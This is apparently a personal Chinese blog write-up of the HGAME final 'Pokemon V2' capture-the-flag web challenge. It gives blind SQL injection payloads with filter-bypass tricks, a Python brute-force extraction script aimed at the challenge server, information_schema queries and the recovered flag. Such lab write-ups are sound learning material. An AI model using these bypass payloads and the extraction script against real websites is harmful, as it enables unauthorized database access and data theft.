这次HGAME final,确实打得我心态爆炸,也让我知道了我居然这么菜。web第一道题,Pokemon V2 一手盲注,一堆过滤,基础知识不牢固的我直接8小时坐牢。今天向vidar team的summ3r学长请教,总算是搞定了这道sql注入,收获良多,(赶得上我自己闷头学2周、‘小声’)。
然后就是我真的觉得学长们这种英文里加字母的名称真的好有感觉,我也想!dhycnhdu也太没味道了,于是!我决定!我以后就叫1manity,寓意人类种!
HGAME final Pokemon v2题解
进入题目环境,F12进入开发者模式进行信息收集
发现/index.php?id=1,访问看到url可以传参,尝试令其=0,发生跳转
输入code=0时error下的字符消失,尝试进行sql注入。
测试后发现黑名单过滤了# ! union and + - = ' " 空格等字符。于是联合查询注入就不可能得到我们想要的数据。
首先进行字段的测试,
code=404/**/order/**/by/**/2
得到有两个字段,
鉴于被ban的东西太多,先使用时间盲注,
code=404/**/%26%26/**/if(length(database())>7,sleep(1),1)
得到数据库长度为7,然后写脚本进行布尔注入,发现substr, mid被过滤,
1、使用right(left(xxx,1),1)代替substr截取字符
2、使用/**/绕过空格
3、使用&&绕过and,由于浏览器会将&当作参数分割符,使用url编码,%26%26
4、使用>绕过=
5、使用in绕过=
6、十六进制绕过字符串
7、注意子查询需要使用括号将其括起
8、使用group_concat将多个结果合并
下面是脚本母版。
import requests
import re
# http://146.56.223.34:65432/error.php?
findlink = re.compile(r'(.*) Pokemon (.*?) .*')
url=""
baseurl="http://146.56.223.34:65432/error.php?code=404/**/%26%26/**/"
for j in range(1,8):
for i in range(30,128):
url=baseurl+f"ascii(right(left(database(),{j}),1))%3E{i}"
r = requests.get(url)
#print(re.findall(findlink, r.text)[0][0])
if(len(re.findall(findlink, r.text))==0) :
#print(r.text)
print(chr(i),end="")
break
爆出数据库名称pokemon
接下来构造payload取出数据表名称
select group_concat(table_name) from information_schema.tables where table_schema in (0x706f6b656d6f6e);
爆出数据表名称为errors,seeeeeeecret,接下来爆数据列
select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/in/**/(0x706f6b656d6f6e)
爆出数据列code,id,msg,flag,找到flag,最后爆flag
select/**/flag/**/from/**/seeeeeeecret
得到flag
hgame{96mz5v3c9hnj49t7xqj76et6xw4dpczy}